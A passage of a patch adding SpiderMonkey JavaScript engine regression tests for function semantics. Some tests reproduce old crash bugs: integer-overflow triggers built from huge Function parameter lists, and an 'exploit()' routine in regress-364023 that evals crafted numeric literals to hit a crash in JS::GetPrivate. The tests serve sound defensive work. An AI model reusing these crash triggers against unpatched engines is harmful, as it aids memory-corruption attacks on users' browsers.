+ Object.defineProperty(arguments, length, { value: 17 });
+
+ function fun()
+ {
+ assertEq(arguments.length, 17);
+ assertEq(arguments[length], 17);
+ assertEq(arguments[0], "foo");
+ for (var i = 1; i < 17; i++)
+ assertEq(arguments[i], undefined);
+ }
+ fun.apply(null, arguments);
+}
+test_js_fun_apply("foo");
+
+function test_array_toString_sub_1()
+{
+ Object.defineProperty(arguments, "length", { value: 1 });
+ arguments.join = [].join;
+ assertEq([].toString.call(arguments), "1");
+}
+test_array_toString_sub_1(1, 2);
+
+function test_array_toString_sub_2()
+{
+ Object.defineProperty(arguments, "length", { value: 1 });
+ assertEq([].toLocaleString.call(arguments), "1");
+}
+test_array_toString_sub_2(1, 2);
+
+
+/******************************************************************************/
+
+reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-123371.js b/js/src/tests/non262/Function/regress-123371.js
new file mode 100644
index 0000000000..58294c6a02
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-123371.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 123371;
+var summary = 'Do not crash when newline separates function name from arglist';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+printStatus
+('function call succeeded');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-131964.js b/js/src/tests/non262/Function/regress-131964.js
new file mode 100644
index 0000000000..d7451f040e
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-131964.js
@@ -0,0 +1,159 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 19 Mar 2002
+ * SUMMARY: Function declarations in global or function scope are {DontDelete}.
+ * Function declarations in eval scope are not {DontDelete}.
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=131964
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 131964;
+var summary = 'Functions defined in global or function scope are {DontDelete}';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+function f()
+{
+ return 'f lives!';
+}
+delete f;
+
+try
+{
+ actual = f();
+}
+catch(e)
+{
+ actual = 'f was deleted';
+}
+
+expect = 'f lives!';
+addThis();
+
+
+
+/*
+ * Try the same test in function scope -
+ */
+status = inSection(2);
+function g()
+{
+ function f()
+ {
+ return 'f lives!';
+ }
+ delete f;
+
+ try
+ {
+ actual = f();
+ }
+ catch(e)
+ {
+ actual = 'f was deleted';
+ }
+
+ expect = 'f lives!';
+ addThis();
+}
+g();
+
+
+
+/*
+ * Try the same test in eval scope - here we EXPECT the function to be deleted (?)
+ */
+status = inSection(3);
+var s = '';
+s += 'function h()';
+s += '{ ';
+s += ' return "h lives!";';
+s += '}';
+s += 'delete h;';
+
+s += 'try';
+s += '{';
+s += ' actual = h();';
+s += '}';
+s += 'catch(e)';
+s += '{';
+s += ' actual = "h was deleted";';
+s += '}';
+
+s += 'expect = "h was deleted";';
+s += 'addThis();';
+eval(s);
+
+
+/*
+ * Define the function in eval scope, but delete it in global scope -
+ */
+status = inSection(4);
+s = '';
+s += 'function k()';
+s += '{ ';
+s += ' return "k lives!";';
+s += '}';
+eval(s);
+
+delete k;
+
+try
+{
+ actual = k();
+}
+catch(e)
+{
+ actual = 'k was deleted';
+}
+
+expect = 'k was deleted';
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function wasDeleted(functionName)
+{
+ return functionName + ' was deleted...';
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-137181.js b/js/src/tests/non262/Function/regress-137181.js
new file mode 100644
index 0000000000..6fddde2d1a
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-137181.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 12 Apr 2002
+ * SUMMARY: delete arguments[i] should break connection to local reference
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=137181
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 137181;
+var summary = 'delete arguments[i] should break connection to local reference';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+status = inSection(1);
+function f1(x)
+{
+ x = 1;
+ delete arguments[0];
+ return x;
+}
+actual = f1(0); // (bug: Rhino was returning |undefined|)
+expect = 1;
+addThis();
+
+
+status = inSection(2);
+function f2(x)
+{
+ x = 1;
+ delete arguments[0];
+ arguments[0] = -1;
+ return x;
+}
+actual = f2(0); // (bug: Rhino was returning -1)
+expect = 1;
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-178389.js b/js/src/tests/non262/Function/regress-178389.js
new file mode 100644
index 0000000000..e1735adf86
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-178389.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 178389;
+var summary = 'Function.prototype.toSource should not override Function.prototype.toString';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function f()
+{
+ var g = function (){};
+}
+
+expect = f.toString();
+
+Function.prototype.toSource = function () { return ''; };
+
+actual = f.toString();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-193555.js b/js/src/tests/non262/Function/regress-193555.js
new file mode 100644
index 0000000000..c9c45f3311
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-193555.js
@@ -0,0 +1,99 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 17 February 2003
+ * SUMMARY: Testing access to function name from inside function
+ *
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=193555
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 193555;
+var summary = 'Testing access to function name from inside function';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+// test via function statement
+status = inSection(1);
+function f() {return f.toString();};
+actual = f();
+expect = f.toString();
+addThis();
+
+// test via function expression
+status = inSection(2);
+var x = function g() {return g.toString();};
+actual = x();
+expect = x.toString();
+addThis();
+
+// test via eval() outside function
+status = inSection(3);
+eval ('function a() {return a.toString();}');
+actual = a();
+expect = a.toString();
+addThis();
+
+status = inSection(4);
+eval ('var y = function b() {return b.toString();}');
+actual = y();
+expect = y.toString();
+addThis();
+
+// test via eval() inside function
+status = inSection(5);
+function c() {return eval('c').toString();};
+actual = c();
+expect = c.toString();
+addThis();
+
+status = inSection(6);
+var z = function d() {return eval('d').toString();};
+actual = z();
+expect = z.toString();
+addThis();
+
+// test via two evals!
+status = inSection(7);
+eval('var w = function e() {return eval("e").toString();}');
+actual = w();
+expect = w.toString();
+addThis();
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-222029-001.js b/js/src/tests/non262/Function/regress-222029-001.js
new file mode 100644
index 0000000000..a58e60bc3d
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-222029-001.js
@@ -0,0 +1,123 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Oct 2003
+ * SUMMARY: Make our f.caller property match IE's wrt f.apply and f.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=222029
+ *
+ * Below, when gg calls f via |f.call|, we have this call chain:
+ *
+ * calls calls
+ * gg() ---------> Function.prototype.call() ---------> f()
+ *
+ *
+ * The question this bug addresses is, "What should we say |f.caller| is?"
+ *
+ * Before this fix, SpiderMonkey said it was |Function.prototype.call|.
+ * After this fix, SpiderMonkey emulates IE and says |gg| instead.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 222029;
+var summary = "Make our f.caller property match IE's wrt f.apply and f.call";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+function f()
+{
+ return f.caller.p ;
+}
+
+
+/*
+ * Call |f| directly
+ */
+function g()
+{
+ return f();
+}
+g.p = "hello";
+
+
+/*
+ * Call |f| via |f.call|
+ */
+function gg()
+{
+ return f.call(this);
+}
+gg.p = "hello";
+
+
+/*
+ * Call |f| via |f.apply|
+ */
+function ggg()
+{
+ return f.apply(this);
+}
+ggg.p = "hello";
+
+
+/*
+ * Shadow |p| on |Function.prototype.call|, |Function.prototype.apply|.
+ * In Sections 2 and 3 below, we no longer expect to recover this value -
+ */
+Function.prototype.call.p = "goodbye";
+Function.prototype.apply.p = "goodbye";
+
+
+
+status = inSection(1);
+actual = g();
+expect = "hello";
+addThis();
+
+status = inSection(2);
+actual = gg();
+expect = "hello";
+addThis();
+
+status = inSection(3);
+actual = ggg();
+expect = "hello";
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-222029-002.js b/js/src/tests/non262/Function/regress-222029-002.js
new file mode 100644
index 0000000000..96f68a2661
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-222029-002.js
@@ -0,0 +1,132 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 13 Oct 2003
+ * SUMMARY: Make our f.caller property match IE's wrt f.apply and f.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=222029
+ *
+ * Below, when gg calls f via |f.call|, we have this call chain:
+ *
+ * calls calls
+ * gg() ---------> Function.prototype.call() ---------> f()
+ *
+ *
+ * The question this bug addresses is, "What should we say |f.caller| is?"
+ *
+ * Before this fix, SpiderMonkey said it was |Function.prototype.call|.
+ * After this fix, SpiderMonkey emulates IE and says |gg| instead.
+ *
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 222029;
+var summary = "Make our f.caller property match IE's wrt f.apply and f.call";
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+/*
+ * Try to confuse the engine by adding a |p| property to everything!
+ */
+var p = 'global';
+var o = {p:'object'};
+
+
+function f(obj)
+{
+ return f.caller.p ;
+}
+
+
+/*
+ * Call |f| directly
+ */
+function g(obj)
+{
+ var p = 'local';
+ return f(obj);
+}
+g.p = "hello";
+
+
+/*
+ * Call |f| via |f.call|
+ */
+function gg(obj)
+{
+ var p = 'local';
+ return f.call(obj, obj);
+}
+gg.p = "hello";
+
+
+/*
+ * Call |f| via |f.apply|
+ */
+function ggg(obj)
+{
+ var p = 'local';
+ return f.apply(obj, [obj]);
+}
+ggg.p = "hello";
+
+
+/*
+ * Shadow |p| on |Function.prototype.call|, |Function.prototype.apply|.
+ * In Sections 2 and 3 below, we no longer expect to recover this value -
+ */
+Function.prototype.call.p = "goodbye";
+Function.prototype.apply.p = "goodbye";
+
+
+
+status = inSection(1);
+actual = g(o);
+expect = "hello";
+addThis();
+
+status = inSection(2);
+actual = gg(o);
+expect = "hello";
+addThis();
+
+status = inSection(3);
+actual = ggg(o);
+expect = "hello";
+addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus(summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Function/regress-292215.js b/js/src/tests/non262/Function/regress-292215.js
new file mode 100644
index 0000000000..c264b74178
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-292215.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 292215;
+var summary = 'Set arguments';
+var actual = '';
+var expect = '00012';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+function zeroArguments () {
+ arguments[1] = '0';
+ actual += arguments[1];
+}
+
+function oneArgument (x) {
+ arguments[1] = '1';
+ actual += arguments[1];
+}
+
+function twoArguments (x,y) {
+ arguments[1] = '2';
+ actual += arguments[1];
+}
+
+zeroArguments();
+zeroArguments(1);
+zeroArguments('a', 'b');
+oneArgument();
+twoArguments();
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-313570.js b/js/src/tests/non262/Function/regress-313570.js
new file mode 100644
index 0000000000..eb3039650b
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-313570.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 313570;
+var summary = 'length of objects whose prototype chain includes a function';
+var actual = '';
+var expect = '';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+function tmp() {}
+tmp.prototype = function(a, b, c) {};
+var obj = new tmp();
+
+// arity
+expect = 3;
+actual = obj.length;
+reportCompare(expect, actual, summary + ': arity');
+
+// immutable
+obj.length = 10;
+
+expect = 3;
+actual = obj.length;
+reportCompare(expect, actual, summary + ': immutable');
+
diff --git a/js/src/tests/non262/Function/regress-338001.js b/js/src/tests/non262/Function/regress-338001.js
new file mode 100644
index 0000000000..6afdc4f6fc
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338001.js
@@ -0,0 +1,42 @@
+// |reftest| skip-if(Android) silentfail slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338001;
+var summary = 'integer overflow in jsfun.c:Function';
+var actual = 'No Crash';
+var expect = /No Crash|InternalError: allocation size overflow/;
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="f";
+
+try
+{
+ for (i=0; i<25; i++)
+ fe += fe;
+
+ var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+}
+catch(ex)
+{
+ // handle changed 1.9 branch behavior. see bug 422348
+ actual = ex + '';
+}
+
+print('Done: ' + actual);
+
+reportMatch(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-338121-01.js b/js/src/tests/non262/Function/regress-338121-01.js
new file mode 100644
index 0000000000..e51d8c952e
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338121-01.js
@@ -0,0 +1,33 @@
+// |reftest| skip-if(Android) silentfail slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+expectExitCode(3);
+
+var fe="v";
+
+for (i=0; i<25; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-338121-02.js b/js/src/tests/non262/Function/regress-338121-02.js
new file mode 100644
index 0000000000..f051c00ce2
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338121-02.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(Android) silentfail skip -- disabled pending bug 657444
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="vv";
+
+for (i=0; i<24; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ "done"
+ );
+
+//alert("fu="+fu);
+//print("fu="+fu);
+var fuout = 'fu=' + fu;
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-338121-03.js b/js/src/tests/non262/Function/regress-338121-03.js
new file mode 100644
index 0000000000..4fd6ea2928
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-338121-03.js
@@ -0,0 +1,38 @@
+// |reftest| skip-if(Android) silentfail slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 338121;
+var summary = 'Issues with JS_ARENA_ALLOCATE_CAST';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+expectExitCode(0);
+expectExitCode(5);
+
+var fe="vv";
+
+for (i=0; i<24; i++)
+ fe += fe;
+
+var fu=new Function(
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe, fe,
+ fe, fe, fe,
+ "done"
+ );
+
+//alert("fu="+fu);
+//print("fu="+fu);
+var fuout = 'fu=' + fu;
+
+print('Done');
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Function/regress-344052.js b/js/src/tests/non262/Function/regress-344052.js
new file mode 100644
index 0000000000..f9f747276f
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-344052.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344052;
+var summary = 'Function prototype - simple shared property';
+var actual = '';
+var expect = 'true';
+
+Function.prototype.foo = true;
+function y(){};
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ actual = String(y.foo);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Function/regress-364023.js b/js/src/tests/non262/Function/regress-364023.js
new file mode 100644
index 0000000000..6102351a6a
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-364023.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 364023;
+var summary = 'Do not crash in JS::GetPrivate';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function exploit() {
+ var code = "";
+ for(var i = 0; i < 0x10000; i++) {
+ if(i == 125) {
+ code += "void 0x10000050505050;\n";
+ } else {
+ code += "void " + (0x10000000000000 + i) + ";\n";
+ }
+ }
+ code += "function foo() {}\n";
+ eval(code);
+ }
+ exploit();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Function/regress-49286.js b/js/src/tests/non262/Function/regress-49286.js
new file mode 100644
index 0000000000..0b748b3ebf
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-49286.js
@@ -0,0 +1,100 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 2001-07-10
+ *
+ * SUMMARY: Invoking try...catch through Function.call
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=49286
+ *
+ * 1) Define a function with a try...catch block in it
+ * 2) Invoke the function via the call method of Function
+ * 3) Pass bad syntax to the try...catch block
+ * 4) We should catch the error!
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 49286;
+var summary = 'Invoking try...catch through Function.call';
+var cnErrorCaught = 'Error caught';
+var cnErrorNotCaught = 'Error NOT caught';
+var cnGoodSyntax = '1==2';
+var cnBadSyntax = '1=2';
+var status = '';
+var statusitems = [];
+var actual = '';
+var actualvalues = [];
+var expect= '';
+var expectedvalues = [];
+
+
+var obj = new testObject();
+
+status = 'Section A of test: direct call of f';
+actual = f.call(obj);
+expect = cnErrorCaught;
+addThis();
+
+status = 'Section B of test: indirect call of f';
+actual = g.call(obj);
+expect = cnErrorCaught;
+addThis();
+
+
+
+//-----------------------------------------
+test();
+//-----------------------------------------
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i=0; i<UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
+
+
+// An object storing bad syntax as a property -
+function testObject()
+{
+ this.badSyntax = cnBadSyntax;
+ this.goodSyntax = cnGoodSyntax;
+}
+
+
+// A function wrapping a try...catch block
+function f()
+{
+ try
+ {
+ eval(this.badSyntax);
+ }
+ catch(e)
+ {
+ return cnErrorCaught;
+ }
+ return cnErrorNotCaught;
+}
+
+
+// A function wrapping a call to f -
+function g()
+{
+ return f.call(this);
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
diff --git a/js/src/tests/non262/Function/regress-518103.js b/js/src/tests/non262/Function/regress-518103.js
new file mode 100644
index 0000000000..70bab0d572
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-518103.js
@@ -0,0 +1,27 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 518103;
+var summary = 'lambda constructor "method" vs. instanceof';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var Y = {widget: {}};
+
+Y.widget.DataSource = function () {};
+Y.widget.DS_JSArray = function (A) { this.data = A; };
+Y.widget.DS_JSArray.prototype = new Y.widget.DataSource();
+
+var J = new Y.widget.DS_JSArray( [ ] );
+
+actual = J instanceof Y.widget.DataSource;
+expect = true;
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-524826.js b/js/src/tests/non262/Function/regress-524826.js
new file mode 100644
index 0000000000..da1dfbba08
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-524826.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 524826;
+var summary = 'null-closure property initialiser mis-brands object literal scope';
+var actual;
+var expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function make(g) {
+ var o = {f: function(a,b) { return a*b; }, g: g};
+ return o;
+}
+var z = -1;
+var x = make(function(c) { return c*z; });
+var y = make(function(c) { return -c*z; });
+
+function callg(o, c) { return o.g(c); };
+actual = callg(x, 1);
+expect = -callg(y, 1);
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-528082.js b/js/src/tests/non262/Function/regress-528082.js
new file mode 100644
index 0000000000..1ca7b77cbb
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-528082.js
@@ -0,0 +1,20 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 528082;
+var summary = 'named function expression function-name-as-upvar slot botch';
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function f() {
+ return function g(a) { return function () { return g; }(); }();
+}
+var actual = typeof f();
+var expect = "function";
+
+reportCompare(expect, actual, summary);
+
+printStatus("All tests passed!");
diff --git a/js/src/tests/non262/Function/regress-533254.js b/js/src/tests/non262/Function/regress-533254.js
new file mode 100644
index 0000000000..b0e319818b
--- /dev/null
+++ b/js/src/tests/non262/Function/regress-533254.js
@@ -0,0 +1,28 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var BUGNUMBER = 533254;
+var summary = 'init-method late in table-big initialiser screwup';
+
